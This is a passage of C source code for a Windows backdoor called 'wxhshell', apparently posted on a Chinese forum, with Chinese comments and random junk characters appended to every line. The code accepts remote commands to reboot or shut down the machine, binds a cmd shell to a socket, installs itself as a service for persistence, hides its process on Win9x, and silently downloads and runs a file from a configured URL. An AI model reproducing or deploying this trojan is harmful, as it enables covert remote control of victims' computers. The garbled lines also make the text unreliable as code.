  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U~f4e7x*O  
  } I -@?guZ r  
  else { S\x=&Rz  
p9[6^rjx8  
    switch(cmd[0]) { S]>wc yy=n  
  Frm;Ej3?$  
  // 帮助 .qD@ Y3-  
  case '?': { \OwpD,'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `wz[='yM  
    break; @4GA^h  
  } p~jlx~1-]  
  // 安装 })F*:9i*  
  case 'i': { a:Q[gF8>  
    if(Install()) kdrod[S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.oksD9 v  
    else _t>"5s&i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )}lRd#V  
    break; ^))RM_ic  
    } p<GR SJIk=  
  // 卸载 v ! hY  
  case 'r': { OM83S|1s  
    if(Uninstall()) _ -..~K.|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9";sMB}W*  
    else =?Fkn4t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nHOr AD|&  
    break; IQ!Fv/I<  
    } :7.Me ;RA  
  // 显示 wxhshell 所在路径 a:rX9-**  
  case 'p': { %5'6Tj  
    char svExeFile[MAX_PATH]; ^krk&rW3  
    strcpy(svExeFile,"\n\r"); Djt%r<  
      strcat(svExeFile,ExeFile); &%=D \YzG  
        send(wsh,svExeFile,strlen(svExeFile),0); 7'p8 a<x  
    break; 5]Da{Wmgs  
    } ja=w 5  
  // 重启 :z"!kzdJ  
  case 'b': { #?O &  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #J\rv'  
    if(Boot(REBOOT)) *|:Q%xr-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7L(e h7  
    else { eny/ fm  
    closesocket(wsh); Ve 3 ;  
    ExitThread(0); n(ir[w#,]"  
    } @4+#Xd7"  
    break; ~Qj}ijWD  
    } HTjkR*E  
  // 关机 ~f>2U]F>5  
  case 'd': { y0bq;(~X~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $K}DB N; 4  
    if(Boot(SHUTDOWN)) S6i@"h5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }^ FulsC  
    else { l$Gl'R>>*  
    closesocket(wsh); UmU:j@ xvg  
    ExitThread(0); S]/b\ B.h+  
    } n%%7KTqu  
    break; 5p"BD'^:  
    } Zk-~a r  
  // 获取shell hlJpElYf  
  case 's': { 7 h=QW5  
    CmdShell(wsh); #(;<-7M2  
    closesocket(wsh); v1G"3fy9  
    ExitThread(0); :%r S =f  
    break; rfcN/:k  
  } lHfe<j]  
  // 退出 f>9s!Hpu_  
  case 'x': { &p(0K4:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wVl+]zB  
    CloseIt(wsh); GC@+V|u  
    break; U7$WiPTNL9  
    } r4}*l7Q  
  // 离开 a|j%n  
  case 'q': { 0S/' 94%w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fRZ KEIyk  
    closesocket(wsh); W_YY#wf_  
    WSACleanup(); ?}p:J{  
    exit(1); |+,[``d>"  
    break; pf"<!O[  
        } AG6K daJ  
  } (K..k-o`.  
  } E)N<lh  
8AFczeg[[  
  // 提示信息 3)Ac"nuyqH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IND]j72  
} i&Fiq&V)[  
  } 9]'&RyH=#  
dR^"X3$  
  return; aG`;OgrH  
} G5.nPsuM   
El2e~l9  
// shell模块句柄 M" lg%j  
int CmdShell(SOCKET sock) 3.Gj4/f  
{ Cr ? 4Ngw  
STARTUPINFO si; "hz\Z0zg2  
ZeroMemory(&si,sizeof(si)); \Gp*x\<^Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K{fsn4rk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &K+0xnUH  
PROCESS_INFORMATION ProcessInfo; RD,5AShP  
char cmdline[]="cmd"; qPGuo5^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xJ8%<RR!t  
  return 0; Q%S9fq,q  
} jvy$t$az  
XL}"1lE  
// 自身启动模式 *>8ce-PV  
int StartFromService(void) yCz|{=7"j  
{ d4?d4;{  
typedef struct RI n9(r  
{ 5sO@OV\ y  
  DWORD ExitStatus;  cgu~  
  DWORD PebBaseAddress; h@{_duu  
  DWORD AffinityMask; GwU?wIIj^  
  DWORD BasePriority; 9O*_L:4o  
  ULONG UniqueProcessId; 8|?LN8rp  
  ULONG InheritedFromUniqueProcessId; $(pF;_W  
}   PROCESS_BASIC_INFORMATION; ; 0v>Rfa  
| tQiFC  
PROCNTQSIP NtQueryInformationProcess; fnKY1y]2+  
=3 ~/:8o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u+t$l^S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u"xJjS  
K0pac6]  
  HANDLE             hProcess; sM[I4 .A3  
  PROCESS_BASIC_INFORMATION pbi; {XurC}#\  
BP[|nL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^ZDBO/  
  if(NULL == hInst ) return 0; =WZqQq{  
5~sx:0;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I751 t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9Z"+?bv/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Ml&[O ge  
ykg#{9+  
  if (!NtQueryInformationProcess) return 0; Sw&!y$ed  
#V02hs1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d%@~mcH>  
  if(!hProcess) return 0; 1nknSw#  
U5HKRO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HmmS(fU  
s) O[t  
  CloseHandle(hProcess); #EGA#SKoq  
,B}I?vN.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MTGiAFE  
if(hProcess==NULL) return 0; "L&'Fd@ZU  
:wqC8&V  
HMODULE hMod; )jrT6x^IB  
char procName[255]; t+r:"bb  
unsigned long cbNeeded; V D?*h  
Uh1NO&i.W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?']h%'Q  
/e}#' H   
  CloseHandle(hProcess); =QJRMF  
[k$*4 u >  
if(strstr(procName,"services")) return 1; // 以服务启动 CI:^\-z  
o KD/rI  
  return 0; // 注册表启动 m(iR|Zx  
} Q:C$&-$  
:K82sCy%5  
// 主模块 xda; K~w  
int StartWxhshell(LPSTR lpCmdLine) p{)5k  
{  Qe"pW\  
  SOCKET wsl; FbnO/! $8  
BOOL val=TRUE; cXMhq<GkAA  
  int port=0; G.'+-v=\]  
  struct sockaddr_in door; \<0B1m  
y4:H3Sk  
  if(wscfg.ws_autoins) Install(); w9RS)l2FQ  
M@1r:4CoKH  
port=atoi(lpCmdLine); vR6Bn  
k^ F@X  
if(port<=0) port=wscfg.ws_port; 5l-mW0,MK  
8N%Bn&   
  WSADATA data; _/*U2.xS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^>y@4qB  
2 !" XzdD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c)md  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $/1c= Y@  
  door.sin_family = AF_INET; f&,{XZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 60=m  
  door.sin_port = htons(port); OX:O^ (-r,  
qH,l#I\CG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R =Ws#'  
closesocket(wsl); {+<P:jbz;  
return 1; mnk"Vr` L  
} { x0t  
H=g.34  
  if(listen(wsl,2) == INVALID_SOCKET) { L%}zVCg  
closesocket(wsl); ; |/leu8  
return 1; e}VBRvr  
} u,3,ck!B>@  
  Wxhshell(wsl); s#Jh -+lM  
  WSACleanup(); OU4pjiLx  
,vqr <H9e  
return 0; d1@%W;qX!  
e pCLM_yA  
} x.0p%O=`  
R1:k23{  
// 以NT服务方式启动 (}r|yE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mV73 \P6K  
{ I]"96'|N  
DWORD   status = 0; Zc |/{$>:W  
  DWORD   specificError = 0xfffffff; CBQhIvq.d  
SQ,?N XZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7+TiyY]K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [OTJVpC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b*fgv9Kh'  
  serviceStatus.dwWin32ExitCode     = 0; [+ *$\  
  serviceStatus.dwServiceSpecificExitCode = 0; /WV7gO&L1  
  serviceStatus.dwCheckPoint       = 0; )Dp/('Z2  
  serviceStatus.dwWaitHint       = 0; LLWB  
AB Xl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _{vkX<s  
  if (hServiceStatusHandle==0) return; `dMqe\o%!  
F["wD O  
status = GetLastError(); ;g_> ;tR/  
  if (status!=NO_ERROR) G!8Z~CPF  
{ v1k)hFjPK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]{ BE r*  
    serviceStatus.dwCheckPoint       = 0; 0,s$T2  
    serviceStatus.dwWaitHint       = 0; bb42v7?  
    serviceStatus.dwWin32ExitCode     = status; 7J28JK  
    serviceStatus.dwServiceSpecificExitCode = specificError; n 26Y]7N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kz<@x`0   
    return; 8By,#T".  
  } ]u-]'P  
I]Tsz'T!9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5 )2:stT73  
  serviceStatus.dwCheckPoint       = 0; 3lLMu B+  
  serviceStatus.dwWaitHint       = 0; BYW^/B Y)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @''GPL@  
} ]Fvm 7V  
H_!4>G@  
// 处理NT服务事件,比如:启动、停止 O?8Ni=]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Nfe>3uQK  
{ $I#q  
switch(fdwControl) b 6t}{_7  
{ DcMJ^=r8O:  
case SERVICE_CONTROL_STOP: vB37M@wm  
  serviceStatus.dwWin32ExitCode = 0; dt[k\ !-v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mDGn:oRj  
  serviceStatus.dwCheckPoint   = 0; `6y{.$ z  
  serviceStatus.dwWaitHint     = 0; P X;Ed*y  
  { /:<IIqO.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _UE)*l m+  
  } Uw-p758dD  
  return; hqk}akXt  
case SERVICE_CONTROL_PAUSE: h=kQ$`j6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1iL 'V-y  
  break; 0w'j+  
case SERVICE_CONTROL_CONTINUE: Et"?8\"n7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T&T/C@z'R  
  break; '6$*YN&5  
case SERVICE_CONTROL_INTERROGATE: j` E +qk  
  break;  $rXh0g  
}; r[.>P$U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >vrxP8_  
} s%iOUL2/  
} B396X  
// 标准应用程序主函数 Kx"<J@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SxyONp.$\  
{ w|mb4AyL{?  
,:Vm6u!  
// 获取操作系统版本 :RSz4  
OsIsNt=GetOsVer(); PUQES(&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4GG>!@|  
C=uZ1xg*,  
  // 从命令行安装 _4 6X%k  
  if(strpbrk(lpCmdLine,"iI")) Install(); E6Rz@"^XV  
sfr(/mp(  
  // 下载执行文件 n/QF2&X7)  
if(wscfg.ws_downexe) { Ae^X35  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p <eC<dtu  
  WinExec(wscfg.ws_filenam,SW_HIDE); @ZN^1?][  
} 9p$V)qdX  
eMOD;{Q?X  
if(!OsIsNt) { TGuiNobD  
// 如果时win9x,隐藏进程并且设置为注册表启动 V~GWl1#7  
HideProc(); 1%M&CX  
StartWxhshell(lpCmdLine); xE}VTHFo'  
} hA 3HVP_  
else SUWD]k>PH  
  if(StartFromService()) O_$dI*RK  
  // 以服务方式启动 VZ>On$hp  
  StartServiceCtrlDispatcher(DispatchTable); RjJU4q  
else gIR^ )m  
  // 普通方式启动 r _,_5 @0e  
  StartWxhshell(lpCmdLine); MyJ4><oG  
Nf+b" &Zh`  
return 0; $d+DDm1o  
}
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只看该作者 1 发表于: 2006-10-10
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